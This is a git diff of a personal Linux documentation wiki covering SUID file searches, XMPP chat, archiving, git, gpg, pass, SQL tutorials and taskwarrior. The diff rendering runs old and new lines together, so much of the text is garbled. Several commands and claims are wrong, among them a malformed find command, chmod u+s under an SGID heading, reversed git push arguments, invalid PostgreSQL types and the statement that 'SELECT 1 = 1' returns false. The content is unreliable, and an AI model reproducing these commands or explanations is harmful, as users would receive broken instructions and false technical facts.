@ -240,29 +186,21 @@ Some files can be executed by people as if they had super user permissions, and
Let's start with files executable by user: Let's start with files executable by user:
```bash > sudo find / -type f -perm -g=s -ls
sudo find / -type f -perm -g=s -ls
```
And then those executable by the group: And then those executable by the group:
```bash > find / -type f -perm -g=s -ls
find / -type f -perm -g=s -ls
```
And finally, worrying files, executable by anyone as if sie were the owner: And finally, worrying files, executable by anyone as if sie were the owner:
```bash > find / -xdev \( -o -nogroup \) -print
find / -xdev \( -o -nogroup \) -print
```
Then have a look at resource usage per user. Then have a look at resource usage per user.
# SGID #SGID
```bash > sudo chmod u+s process.sh
sudo chmod u+s process.sh
```
This will modify process.sh to that instead of being simply executable, anyone executing it will have the permissions as if owner while executing it. This will modify process.sh to that instead of being simply executable, anyone executing it will have the permissions as if owner while executing it.

View File

@ -6,33 +6,23 @@ tags: [ "Documentation", "Chat" ]
Sign up to an account somewhere. Sign up to an account somewhere.
``` > /connect bob@bobserver.org
/connect bob@bobserver.org
```
Check if someone wants to be your friend: Check if someone wants to be your friend:
``` > /sub received
/sub received
```
Accept a friend's subscription request: Accept a friend's subscription request:
``` > /sub add alice@aliceserver.org
/sub add alice@aliceserver.org
```
Join a room: Join a room:
``` > /join room1@bobserver.org
/join room1@bobserver.org
```
Save your configuration so you don't have to do this again: Save your configuration so you don't have to do this again:
``` > /save
/save
```
Check your `~/.config/profanity/profrc` for how to data's saved. Check your `~/.config/profanity/profrc` for how to data's saved.
@ -40,17 +30,11 @@ Check your `~/.config/profanity/profrc` for how to data's saved.
To automatically sign in, add your password to [pass](../data/pass.md). To automatically sign in, add your password to [pass](../data/pass.md).
``` > /account set *malin@oosm.org* eval_password pass *xmpp*
/account set *malin@oosm.org* eval_password pass *xmpp*
```
``` > /autoconnect set *malin@oosm.org*
/autoconnect set *malin@oosm.org*
```
``` > /save
/save
```
Remember to save the config for other commands too. Remember to save the config for other commands too.
@ -58,9 +42,7 @@ Remember to save the config for other commands too.
## Messages ## Messages
``` > /msg alice@aliceserver.org
/msg alice@aliceserver.org
```
This opens in a new tab. This opens in a new tab.
Switch tabs with alt+number. Switch tabs with alt+number.
@ -69,109 +51,75 @@ Switch tabs with alt+number.
The [docs](https://profanity-im.github.io/guide/0131/reference.html) are massive, so it's often better to use: The [docs](https://profanity-im.github.io/guide/0131/reference.html) are massive, so it's often better to use:
``` > /help <Tab>
/help <Tab>
```
## Editing ## Editing
For long text, you can use vim: For long text, you can use vim:
``` > /executable editor set vim
/executable editor set vim
```
``` > /editor
/editor
```
## Sending & Receiving Files ## Sending & Receiving Files
Tell it how to save files: Tell it how to save files:
``` > /executable urlsave set "wget %u -O %p"
/executable urlsave set "wget %u -O %p"
```
Then get the file with: Then get the file with:
``` > /urlsave *<Tab>*
/urlsave *<Tab>*
```
Same for `/urlopen` Same for `/urlopen`
## Theme ## Theme
``` > profanity
profanity
```
``` > /theme list
/theme list
```
``` > theme load batman
theme load batman
```
# Encryption # Encryption
## omemo ## omemo
``` > /omemo gen
/omemo gen
```
``` > /omemo start
/omemo start
```
You can accept everyone's fingerprint all the time with You can accept everyone's fingerprint all the time with
``` > /omemo trustmode firstusage
/omemo trustmode firstusage
```
This will still encrypt, but there will be no check that you have the right person the first time you speak with someone. This will still encrypt, but there will be no check that you have the right person the first time you speak with someone.
You can ensure omemo automatcally turns on: You can ensure omemo automatcally turns on:
``` > /omemo policy automatic
/omemo policy automatic
```
## otr ## otr
Install libotr-dev or libotr5-dev or whatever.. Install libotr-dev or libotr5-dev or whatever..
``` > sudo apt -y install lib5otr-dev
sudo apt -y install lib5otr-dev
```
Make your otr keys. Make your otr keys.
``` > /otr gen
/otr gen
```
Then you can start an otr converstation. Then you can start an otr converstation.
``` > /otr start bob@jobbies.org
/otr start bob@jobbies.org
```
Or if you already have a conversation windows open, switch to our using: Or if you already have a conversation windows open, switch to our using:
``` > /otr
/otr
```
Finally, verify! Finally, verify!
``` > /otr question "Who are you?" bob
/otr question "Who are you?" bob
```
Bob is verified upon the answer, 'bob'. Bob is verified upon the answer, 'bob'.
@ -179,15 +127,9 @@ Bob is verified upon the answer, 'bob'.
Get yours with Get yours with
``` > /otr myfp
/otr myfp
```
``` > /otr theirfp
/otr theirfp
```
``` > /otr myfp
/otr myfp
```

View File

@ -5,25 +5,17 @@ tags: [ "Documentation", "Chat" ]
See available pastebins: See available pastebins:
```bash > wgetpaste -S
wgetpaste -S
```
Upload script.sh to bpaste: Upload script.sh to bpaste:
```bash > wgetpaste -s bpaste script.sh
wgetpaste -s bpaste script.sh
```
Input clipboard to dpaste with the heading "Title" Input clipboard to dpaste with the heading "Title"
```bash > wgetpaste -s dpaste -d Title -x
wgetpaste -s dpaste -d Title -x
```
Paste in the file then load the result to the right-hand clipboard: Paste in the file then load the result to the right-hand clipboard:
```bash > wgetpaste -s dpaste -X
wgetpaste -s dpaste -X
```

View File

@ -1,79 +1,26 @@
--- ---
title: "Archives" title: "archives"
tags: [ "Documentation", "tar", "backups" ] tags: [ "Documentation", "backups" ]
--- ---
# `tar` # GPG Archives
## Create Create an encrypted archive with `gpg`:
Combine many files and directories into a single t-archive file. > tar czvpf - file1.txt file2.pdf file3.jpg | gpg --symmetric --cipher-algo aes256 -o myarchive.tar.gz.gpg
```bash And extract it with `gpg`:
tar cf "$ARCHIVE".tar $DIR
```
You can remember this with the mnemonic '*C*reate *F*ile'.
Unfortunately, this stores the full file path, so making a tar archive of `/etc/nginx/` will store `etc/nginx` (without the leading `/`. > gpg -d myarchive.tar.gz.gpg | tar xzvf -
It's often better to tell tar which path to start from using the `-C` flag.
```bash
tar cf "$ARCHIVE".tar -C /etc/ nginx
```
Check the contents of your archive with:
```bash
tar tf "$ARCHIVE".tar
```
If you want to store 'everything in a directory', then using `*` will not work, because it will target everything in the *current* directory.
Instead, you can store the target in a variable:
```bash
files=$(ls /etc/nginx)
tar cf "$ARCHIVE".tar -C /etc/nginx/ $file
```
## Extract
Extract the tar archive with
> tar xf "$ARCHIVE".tar
You can remember this with the mnemonic 'e*X*tract *F*ile'.
## Compress
Create a zip-compressed archive with the `z` flag.
```bash
tar czf "$ARCHIVE".tgz -C /etc/nginx/ $file
```
You can use any file ending you want, but sane people like to use '.tgz' or '.tar.tgz'.
# 7zip # 7zip
(also called 'p7zip' or '7z')
Make archive: Make archive:
```bash > 7za a -tzip -pPASSWORD -mem=AES256 archive.zip file1 file2
PASSWORD=my_password
```
```bash
7za a -tzip -p$PASSWORD -mem=AES256 $ARCHIVE.zip $FILE_1 $FILE_2
```
Note that people can still see every filename in your archive, and can change those files. Note that people can still see every filename in your archive, and can change those files.
They just can't read the contents.
Unzip: Unzip:
```bash > 7za e archive.zip
7za x archive.zip
```
7zip will open anything: zip-files, rar-files, a tin of beans, *anything*.
However, the extracted tgz files will just be tar files, so you will still need to use tar to extract them (see above).

View File

@ -5,36 +5,28 @@ tags: [ "Documentation", "Backups" ]
Install unison on both machines, and make sure both have the same version of unison, with the same version of the ocaml compiler (the smallest difference will cause problems). Install unison on both machines, and make sure both have the same version of unison, with the same version of the ocaml compiler (the smallest difference will cause problems).
```bash > unison -version
unison -version
```
Create the `~/.unison` directory on both machines. Create the `~/.unison` directory on both machines.
Make a job called `backup`: Make a job called `backup`:
```bash > vim ~/.unison/*backup*.prf
JOB=backup
You can name the file anything, but it must end in .prf.
Here is an example job, which synchronizes the `~/music` directory with a remote machine.
``` ```
Here is an example job, which synchronizes the `~/music` directory with a remote machine which has the same username.
```bash
echo "
auto = true auto = true
root=$HOME root=/home/ghost
root=ssh://$USER@$IP_ADDRESS/$HOME root=ssh://ghost@192.168.0.10//home/ghost/
path=music path=music
ignore=Name *.flac ignore=Name *.flac
" > ~/.unison/"$JOB".prf
``` ```
Remember to specify `$IP_ADDRESS`
The last command means it will ignore any file with a name ending in `.flac`. The last command means it will ignore any file with a name ending in `.flac`.
## Automatic Runs ## Automatic Runs
@ -42,12 +34,11 @@ The last command means it will ignore any file with a name ending in `.flac`.
The first command means this will run but also confirm which files will be deleted, and which will be transferred, us `batch = true` instead. The first command means this will run but also confirm which files will be deleted, and which will be transferred, us `batch = true` instead.
Or you can deleted that line in the `.prf` file and run it with a flag: Or you can deleted that line in the `.prf` file and run it with a flag:
```bash > unison -batch *backup*.prf
unison -batch *backup*.prf
```
Set unison to run with crontab or a systemd unit file to have directories synchronize automatically. Set unison to run with crontab or a systemd unit file to have directories synchronize automatically.
## Problem Solving ## Problem Solving
You will see data files summarizing what has happened in the `~/.unison` directory. You will see data files summarizing what has happened in the `~/.unison` directory.

View File

@ -1,8 +0,0 @@
---
title: "Base 16"
tags: [ "Documentation", "Data" ]
---
```bash
printf "%x" $NUMBER
```

View File

@ -5,20 +5,14 @@ tags: [ "Documentation", "data" ]
Install, and add with Install, and add with
```bash > git lfs install
git lfs install
```
Then track some filetype with: Then track some filetype with:
```bash > git lfs track "\*.ttf"
git lfs track "\*.ttf"
```
Or a directory with: Or a directory with:
```bash > git lfs track "images/"
git lfs track "images/"
```
All changes require adding `.gitattributes`. All changes require adding `.gitattributes`.

View File

@ -6,140 +6,93 @@ tags: [ "Documentation", "data" ]
## New Machines ## New Machines
```bash > git config --global user.email *"malinfreeborn@posteo.net"*
git config --global user.email "$YOUR_EMAIL"
```
```bash > git config --global user.name *"Malin Freeborn"*
git config --global user.name "$YOUR_NAME"
```
# New Git # New Git
Start a git in directory `$DIR`: Start a git in a folder:
```bash > mkdir *project* && cd *project*
mkdir $DIR && cd $DIR
```
```bash > git init
git init
```
Make a file explaining what the project does: Make a file explaining what the project does:
```bash > vim README.md
vim README.md
```
Add this to the git: > git add README.md
```bash
git add README.md
```
Then make the initial commit, explaining the change you just made: Then make the initial commit, explaining the change you just made:
```bash > git commit
git commit
```
# Working # Working
Once you make a change to some file, add it and make a commit explaining it. Once you make a change to some file ("file.sh"), add it and make a commit explaining it.
```bash > git add file.sh
git add $FILE
```
```bash > git commit -m"change file.sh"
git commit -m"change $FILE"
```
Check your history: Check your history:
```bash > git log
git log
```
# Remotes # Remotes
If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing). If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing).
Give it the same name as the `$DIR` directory, above. Find the address you want and add it as a remote:
Add this as a remote: > git remote add *gitlab* *https://gitlab.com/username/projectx*
```bash
REMOTE=gitlab
git remote add $REMOTE https://gitlab.com/$USERNAME/$DIR
```
Tell git you're pushing the branch "master" to the remote repo "origin": Tell git you're pushing the branch "master" to the remote repo "origin":
```bash > git push -u master origin
git push -u master origin
```
If someone makes a change on the remote, pull it down with: If someone makes a change on the remote, pull it down with:
```bash > git pull
git pull
```
# Branches # Branches
A branch is a full copy of the project to test additional ideas. A branch is a full copy of the project to test additional ideas.
You can make a new branch called 'featurez' like this: You can make a new branch called 'featurez' like this:
```bash > git branch *featurez*
git branch *featurez*
```
Have a look at all your branches: Have a look at all your branches:
```bash > git branch
git branch
```
Switch to your new branch: Switch to your new branch:
```bash > git checkout *featurez*
git checkout *featurez*
```
And if your changes are rubbish, checkout the "master" branch again, then delete "featurez": And if your changes are rubbish, checkout the "master" branch again, then delete "featurez":
```bash > git branch -D *featurez*
git branch -D *featurez*
```
Or if it's a good branch, push it to the remote: Or if it's a good branch, push it to the remote:
```bash > git push *origin* *featurez*
git push *origin* *featurez*
```
## Merging ## Merging
Once you like the feature, merge it into the main branch. Switch to master then merge it: Once you like the feature, merge it into the main branch. Switch to master then merge it:
```bash > git merge *featurez*
git merge *featurez*
```
and delete `featurez` as you've already merged it: and delete `featurez` as you've already merged it:
```bash > git branch -d featurez
git branch -d featurez
```
# Subtree # Subtree
## Pulling another git repo into a subtree ## Pulling another git repo into a subtree
```bash > git subtree add -P config git@gitlab.com:bindrpg/config.git master
git subtree add -P config git@gitlab.com:bindrpg/config.git master
```
## Pulling a Subtree from an existing git ## Pulling a Subtree from an existing git
@ -147,17 +100,13 @@ The project has subdirectories sub-1,sub-2,sub-3. The first should be its own r
First, we extract its history as an independent item, and make that into a seprate branch. First, we extract its history as an independent item, and make that into a seprate branch.
```bash > git subtree split --prefix=sub-1 -b sub
git subtree split --prefix=sub-1 -b sub
```
If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3 If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3
Then go and create a new git somewhere else: Then go and create a new git somewhere else:
```bash > cd ..;mkdir sub-1;cd sub-1;git init --bare
cd ..;mkdir sub-1;cd sub-1;git init --bare
```
Then go back to your initial git repo, and do the following: Then go back to your initial git repo, and do the following:
@ -165,57 +114,38 @@ git push ../subtest sub:master
Finally, you can clone this repo from your original. Finally, you can clone this repo from your original.
```bash > git clone ../subtest
git clone ../subtest
```
# Tricks # Tricks
## Delete All History ## Delete All History
```bash > git checkout --orphan temp
git checkout --orphan temp
```
```bash > git add -A
git add -A
```
```bash > git commit -am "release the commits!"
git commit -am "release the commits!"
```
```bash > git branch -D master
git branch -D master
```
```bash > git branch -m master
git branch -m master
```
```bash > git push -f origin master
git push -f origin master
```
Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection. Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection.
## Clean up Bloated Repo ## Clean up Bloated Repo
```bash > git fsck --full
git fsck --full
```
```bash > git gc --prune=now --aggressive
git gc --prune=now --aggressive
```
```bash > git repack
git repack
```
## Find Binary Blobs ## Find Binary Blobs
```bash ```
git rev-list --objects --all \ git rev-list --objects --all \
| git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \ | git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \
| sed -n 's/^blob //p' \ | sed -n 's/^blob //p' \

54
data/gpg-ssh.md Normal file
View File

@ -0,0 +1,54 @@
---
title: "gpg keys with ssh"
tags: [ "Documentation", "distros" ]
---
<!--
Source:
https://ryanlue.com/posts/2017-06-29-gpg-for-ssh-auth
-->
Install `gnupg`.
Generate a new gpg key just for authentication:
> gpg2 --expert --edit-key 024C6B1C84449BD1CB4DF7A152295D2377F4D70F
Toggle options `S`, `E`, and `A` until the following output:
```
Current allowed actions: Authenticate
```
Add ssh to the gpg key agent.
> echo enable-ssh-support >> ~/.gnupg/gpg-agent.conf
This won't take effect until you restart the gpg agent, so kill it:
> gpgconf --kill gpg-agent
> gpgconf --launch gpg-agent
Use 2048 (or whatever) bits, save, and exit.
Add this to your `~/.bash_profile`:
```
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
```
> source ~/.bash_profile
Find the ssh key's keygrip with:
> gpg -k --with-keygrip
It's the one with `[A]` next to it.
Add it to `~/.gnupg/sshcontrol`.
> echo 1P0P6SA7S07Q8198414P126OR0514R3R8Q1389SP > ~/.gnupg/sshcontrol
Confirm it's added:
> ssh-add -l

View File

@ -6,17 +6,13 @@ tags: [ "Documentation", "data" ]
Generate keys: Generate keys:
```bash > gpg --gen-key
gpg --gen-key
```
Follow the guide. Follow the guide.
# Encrypting a file # Encrypting a file
```bash > gpg -r malinfreeborn@posteo.net -e file
gpg -r malinfreeborn@posteo.net -e file
```
`-r` specifies the recipient. `-r` specifies the recipient.
@ -32,15 +28,11 @@ gpg --list-keys
Make a password with a password (cypher encryption). Make a password with a password (cypher encryption).
```bash > gpg -c --output passwords.txt
gpg -c --output passwords.txt
```
or or
```bash > gpg -c > passwords.txt
gpg -c > passwords.txt
```
Put in a password. Put in a password.
@ -48,23 +40,17 @@ Write message then stop with Ctrl+d.
Get the message back out the file with: Get the message back out the file with:
```bash > gpg -d passwords.txt
gpg -d passwords.txt
```
# Circles of Trust # Circles of Trust
Search for a key at any key store: Search for a key at any key store:
```bash > gpg --search-keys nestorv
gpg --search-keys nestorv
```
Once you've made a decision about someone: Once you've made a decision about someone:
```bash > gpg --list-keys
gpg --list-keys
```
You get something like this: You get something like this:
@ -81,39 +67,27 @@ This is a fingerprint.
You can now decide the trust level (this stays on your computer). You can now decide the trust level (this stays on your computer).
```bash > gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
```
Once you're in the interface, type `trust`. Once you're in the interface, type `trust`.
```bash > gpg --sign-key alice@posteo.net
gpg --sign-key alice@posteo.net
```
Then send those trusted keys up to a server, so people can see you have verified them: Then send those trusted keys up to a server, so people can see you have verified them:
```bash > gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
```
# Refresh Keys # Refresh Keys
```bash > gpg --refresh-keys
gpg --refresh-keys
```
# Export # Export
Your public key: Your public key:
```bash > gpg --output *me*.gpg --armor --export
gpg --output *me*.gpg --armor --export
```
or or
```bash > gpg --export -a *person@email.tld* > *my_key*.pub
gpg --export -a *person@email.tld* > *my_key*.pub
```

View File

@ -4,57 +4,37 @@ tags: [ "Documentation", "Data" ]
--- ---
Get the basic config: Get the basic config:
```bash > mkdir ~/.config/khard
mkdir ~/.config/khard
```
```bash > cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
```
Short list Short list
```bash > khard list
khard list
```
Longer list Longer list
```bash > khard show
khard show
```
Show from addressbook 'work' Show from addressbook 'work'
```bash > khard list -a work
khard list -a work
```
Make a new contact in address book 'family' Make a new contact in address book 'family'
```bash > khard new -a family
khard new -a family
```
```bash > khard edit grampa
khard edit grampa
```
```bash > khard remove bob
khard remove bob
```
Move contact 'nina' from 'work' to 'home' address book. Move contact 'nina' from 'work' to 'home' address book.
```bash > khard move -a home nina -A work
khard move -a home nina -A work
```
## Advanced ## Advanced
Merge: Merge:
```bash > khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
```

View File

@ -4,13 +4,9 @@ tags: [ "Documentation", "RSS" ]
--- ---
Create the configuration directory before you start, and add at least 1 URL. Create the configuration directory before you start, and add at least 1 URL.
```bash > mkdir ~/.config/newsboat
mkdir ~/.config/newsboat
```
```bash > echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
```
Start `newsobat` and press `r` to load your feed. Start `newsobat` and press `r` to load your feed.
@ -28,9 +24,7 @@ You can input a Youtube channel by adding this, with the channel's ID at the end
To get the channel ID without hunting: To get the channel ID without hunting:
```bash > curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
```
You can add arbitrary commands to get an RSS feed. You can add arbitrary commands to get an RSS feed.
For example, to get a Gemini feed, install `gemget`, then put this in the configuration file: For example, to get a Gemini feed, install `gemget`, then put this in the configuration file:
@ -64,11 +58,9 @@ Or or `,o` to open an article in w3m:
Add vim-like keys: Add vim-like keys:
> bind-key j next ```
bind-key j next
> bind-key k prev bind-key k prev
bind-key j down article
> bind-key j down article bind-key k up article
```
> bind-key k up article

View File

@ -8,35 +8,21 @@ Setup [gpg](./gpg.md) keys.
Show your gpg secret it: Show your gpg secret it:
```bash > gpg --list-secret-keys
gpg --list-secret-keys
```
Then use the id number under `sec` to make a pass repo: Then use the id number under `sec` to make a pass repo:
```bash > pass init 187233O300300814PQ793NSSS539SQ1O6O184532
KEY="$(gpg --list-secret-keys | grep -m 1 -A1 '^sec' | tail -n 1)"
```
```bash To add a basic password, e.g. for an encrypted tarball, use:
pass init $KEY
```
To add a basic password, e.g. for `$WEBSITE`: > pass add my-tar-gar.gz
```bash
pass $WEBSITE
```
To insert a multiline password, e.g. with a login name: To insert a multiline password, e.g. with a login name:
```bash > pass add -m linuxrocks.online
pass add -m $WEBSITE
```
Remove a password: Remove a password:
```bash > pass rm linuxrocks.online
pass rm $WEBSITE
```

View File

@ -12,13 +12,10 @@ Arch: tesseract-data-eng and poppler-utils
## Script ## Script
```bash > pdftoppm -png *file*.pdf test
pdftoppm -png *file*.pdf test
```
```bash > for x in \*png; do
for x in \*png; do > tesseract -l eng "$x" - >> *out*.txt
tesseract -l eng "$x" - >> *out*.txt > done
done
```
- [Example script](data/pdf-to-txt.sh)

1009
data/sql/person.sql Normal file

File diff suppressed because it is too large Load Diff

364
data/sql/postgresql.md Normal file
View File

@ -0,0 +1,364 @@
---
title: "postgresql"
tags: [ "Documentation", "data" ]
---
# Setup
Install postgres and start it as a service, then start with:
> psql
## Arch setup
> su -l postgres
> initdb -D /var/lib/postgres/data
## Make a database as the new user postgres
> sudo su postgres
> [postgres] echo $HOME
> [postgres]
> [postgres] CREATE DATABASE dvdrental;
## Sample Data
Get sample data.
> wget http://www.postgresqltutorial.com/wp-content/uploads/2019/05/dvdrental.zip
And then get the pdf mapping the sample data:
> wget http://www.postgresqltutorial.com/wp-content/uploads/2018/03/printable-postgresql-sample-database-diagram.pdf
Unzip and load sample data:
> unzip dvdrental.zip
> sudo su postgres
> [postgres] $ pg_restore -U postgres -d dvdrental dvdrental.tar
> [postgres]
# Commands
## Basics
List available databases.
> \l
You'll see a list of available databases like:
`dnd`
`dvdrentals`
Then you can connect to one:
> \c dvdrental
And have a look at what tables it has:
> \d dvdrental
If it has tables such as `language`, `film_actor` and `inventory`, you can see the table's settings with:
> \dt film_actor
And pull back the entire table:
> SELECT * from film_actor;
## Various
Connect to 231.13.48.38 with user 'bob', port 1234, database 'X'
> psql -h 231.13.48.38 -p1234 -U bob X
# Setup Yourself
Make database "test" and connect to it.
> CREATE DATABASE test;
> \l test
Delete database 'dogs':
> DROP DATABASE dogs;
Making a table has a basic form of:
`CREATE TABLE table_name (`
then [ column name ] + [data type ] ... (and possibly data constraints)
`)`
|Data Types | Meaning | Constraints |
|:----|:----|:----|
| BIGSERIAL | A number incrementing by one each entry | 'NOT NULL PRIMARY KEY (so it's used for relational reference) |
| int | integer | (50) limits the table to 50, e.g. `int(50)`|
| VARCHAR | any characters | limit, e.g.`VARCHAR(70)`|
| TIMESTAMP | time | |
| date | date | |
| text | text? | |
| tsquery | text search query | |
| money | money | |
| json | textual JSON data | |
| cidr | ipv4 or 6 address | |
| macaddr | mac address | |
E.g.
```
CREATE TABLE character (
id int,
str int(1),
dex int(1),
spd int(1),
int int(1),
wts int(1),
cha int(1));
```
See your table:
> \d
Look at what columns you have there:
> \d character
But this allows for empty characters, so...
```
CREATE TABLE person (
id BIGSERIAL NOT NULL PRIMARY KEY,
first_name VARCHAR(50) NOT NULL,
last_name VARCHAR(50) NOT NULL,
last_name VARCHAR(50) NOT NULL,
gender VARCHAR(7) NOT NULL,
date_of_birth DATE NOT NULL,
);
```
Delete with
> DROP TABLE person;
## Inserting Data
```
INSERT INTO person (
first_name,
last_name,
gender,
date_of_birth)
VALUES ('Hugi','Smith','DWARF', date '200-01-12');
```
## Selecting Data
You can also mass select by choosing to insert a file. Download example data [here](https://mockaroo.com/).
> \i /home/ghost/file.sql
Various querries:
> SELECT * FROM person;
> SELECT * FROM person ORDER BY id DESC;
> SELECT * FROM person
## Offset, Fetch and Limit
'Limit' is not official, but was accepted later:
> SELECT * FROM person ORDER BY country ASC LIMIT 10;
The official way to make a limit is 'FIRST 5 ROWS ONLY:
> SELECT * FROM person OFFSET 5 FETCH FIRST 5 ROWS ONLY;
> SELECT * FROM person where gender = 'Male' AND ( country_of_birth = 'Poland' OR country_of_birth = 'China');
Miss out the first 5 result with 'OFFSET 5'.
> SELECT p\* FROM PERSON WHERE gender = 'Female' AND country_of_birth = 'Kosovo' OFFSET 5;
> SELECT * FROM person OFFSET 5 FETCH FIRST 7 ROW ONLY;
## Advanced Selection
This query takes a lot of typing:
> SELECT * FROM person WHERE country_of_birth = 'China'
> OR country_of_birth = 'Kosovo'
> OR country_of_birth = 'Brazil';
You can write the same thing with less typing:
> SELECT *
> FROM person
> WHERE country_of_birth in ('China','Kosovo','Brazil');
> SELECT * FROM person
> WHERE date_of_birth
BETWEEN DATE '2018-04-10' AND '2019-01-01'
> ORDER BY date_of_birth;
### Rough Search
Similar words - we can find emails ending in '.com'.
> SELECT * FROM person
> WHERE email LIKE '%.com';
Or any gmail address:
> SELECT * FROM person
> WHERE email LIKE '%@gmail.%';
Or particular characters, where three precede 'gmail.com' and it's case insensitive:
> SELECT * FROM person
> WHERE email iLIKE '\_\_\_@gmail.com';
### Groups and Aggregates
Select all countries as a complete mess:
> SELECT country_of_birth FROM person;
Select countries with proper grouping:
> SELECT country_of_birth FROM person GROUP BY country_of_birth;
Select countries and count instances:
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth ORDER BY country_of_birth;
Also select a minimum number with 'having'. What you have must be before 'order by'.
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) > 5;
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) >= 10;
Other aggregates include 'max', 'min'.
Select most expensive car:
> SELECT MAX(price) FROM car;
> SELECT MIN(price) FROM car;
> SELECT AVG(price) FROM car;
We can stick items together for better grouping:
> SELECT make, model, MAX(price) FROM car GROPU BY make, model;
Select all fields from table 'car', and add a column containing another price, discounted to 90%, rounded to two decimal places.
> SELECT id,make,model,price,ROUND(price * .9, 2) from car;
Same thing, but take 10% of the price from the price.
> SELECT id,make,model,price,ROUND(price - (price * .1), 2) from car;
## Comparison
> SELECT 10 + 2^2;
> SELECT 10! * 2 - 3;
... et c.
This returns false:
> SELECT 1 = 1;
These return false:
> SELECT 2<1;
Or '1 is not equal to 1':
> SELECT 1<>1;
And with strings, 'G is not the same as g':
> SELECT 'G'<>'g';
### Car Disconts
You want to show the discounts on various cars. You check which columns are available and select all of them:
> \d car
> SELECT id,make,model,price FROM car;
## Aliases
You can change what a column name appears as with:
> select price AS original_price from car;
# Null Values
## Coalesce
You can input a series of entries, requesting the first one which is present. Here we input three entries which are 'null', and a third which is '2', so '2' is selected:
> SELECT COALESCE(null, null, 2) AS number;
When selecting column 'email' from table 'person', you can input the string 'Email not provided' if there is no email provided:
> SELECT COALESCE(email, 'Email not provided') from person;
## Nullif
Normally, devision by 0 produces an error:
> SELECT 10/ 0;
But 10 divided by 'null' produces only 'null', which is not an error.
The 'nullif' statement takes two numbers, and returns 'null' iff the numbers are the same as each other.
> select nullif(0,0)
> select nullif(10,10)
# Date
Select date:
> SELECT NOW()::DATE;
> SELECT NOW()::TIME;
or just:
> SELECT NOW();
More [here](postgresql.org/docs/11/datatype-datetime.html).
2h23m

94
data/sql/sql.md Normal file
View File

@ -0,0 +1,94 @@
---
title: "sql"
tags: [ "Documentation", "data" ]
---
MySQL, Aurora and the Maria Database work similarly, and mostly with the same commands.
MySQL requires 160 Megs of disk space.
The ontological layers go:
> Database > table > record > field
The record is a line containing multiple fields. The table contains multiple records.
## Database: RPGs
### Table: D&D
#### Columns:
| id | name | year | edition | stars |
|:--:|:-------------------|:-----|:--------|:------|
| 1 | Dungeons & Dragons | 1975 | 1 | 1 |
| 2 | Dungeons & Dragons | 1980 | 2 | 1 |
| 3 | Advanced Dungeons & Dragons | 1985 | 1 | 1 |
# Getting started
> sudo apt-get install mysql-server
You'll be asked for a password.
Log in with:
> mysql -u root -p
The -u requests a user, while -p tells it to prompt for a password.
List all databases:
> show databases;
Make a new database;
> create database creatures;
Start work on the new database:
> use creatures;
> create table stats (Strength VARCHAR(2), Speed VARCHAR(2), Dexterity(2));
This creatures a row called 'stats' within the 'creature'table' with a number of variables, all of type VARCHAR (a variable length character string).
Now you can insert data (which would normally be provided by a user via php or some-such).
> insert into stats (Strength,Speed,Dexterity) values (-1,0,+1)
Now have a look at the info:
> select * from stats
The old way to delete info by selection was:
> delete * from stats where Charisma='0'
...but now it's:
> delete from stats where Charisma='0'
Update a thing:
> update stats
> set Speed='-1',Charisma='-2'
> where Strength=0;
Leaving out the specifier 'where' means you're updating the entire database.
Control order with
> SELECT * FROM stats ORDER BY Strength;
Or for descending order, suffix 'DESC'.
> select * from stats ORDER by Date DESC;
# Resources
Try more at [w3schools](http://www.w3schools.com/sql/sql_groupby.asp).

View File

@ -5,137 +5,95 @@ tags: [ "Documentation", "Organization" ]
Set up the configuration file: Set up the configuration file:
```bash > task
task
```
Add a task: Add a task:
```bash > task add *update linux*
task add update linux
```
See which task is next: See which task is next:
```bash > task next
task next
```
Note the id number. Note the id number.
Mark a task as started: Mark a task as started:
```bash > task start *1*
task start 1
```
Once finished: Once finished:
```bash > task *1 done*
task 1 done
```
# Projects # Projects
Add a project: Add a project:
```bash > task add project:*house buy potted plant*
task add project:house buy potted plant > task add proj:*house.repair buy screwdriver*
task add proj:house.repair buy screwdriver > task add proj:*house.repair buy shelf brackets*
task add proj:house.repair buy shelf brackets 3 task add pro:*house.paint buy white paint*
task add pro:house.paint buy white paint > task add pro:*house.paint buy red paint*
task add pro:house.paint buy red paint > task add pro:*house.paint buy black paint*
task add pro:house.paint buy black paint > task add pro:*house.paint buy brushes*
task add pro:house.paint buy brushes
```
## Summary ## Summary
```bash > task pro:house sum
task pro:house sum
```
```bash > task burndown.daily pro:house
task burndown.daily pro:house
```
The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate. The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate.
# Tags # Tags
```bash > task add +buy toothbrush
task add +buy toothbrush
```
You can then see only tasks which involve buying something with: You can then see only tasks which involve buying something with:
```bash > task +buy
task +buy
```
# Contexts # Contexts
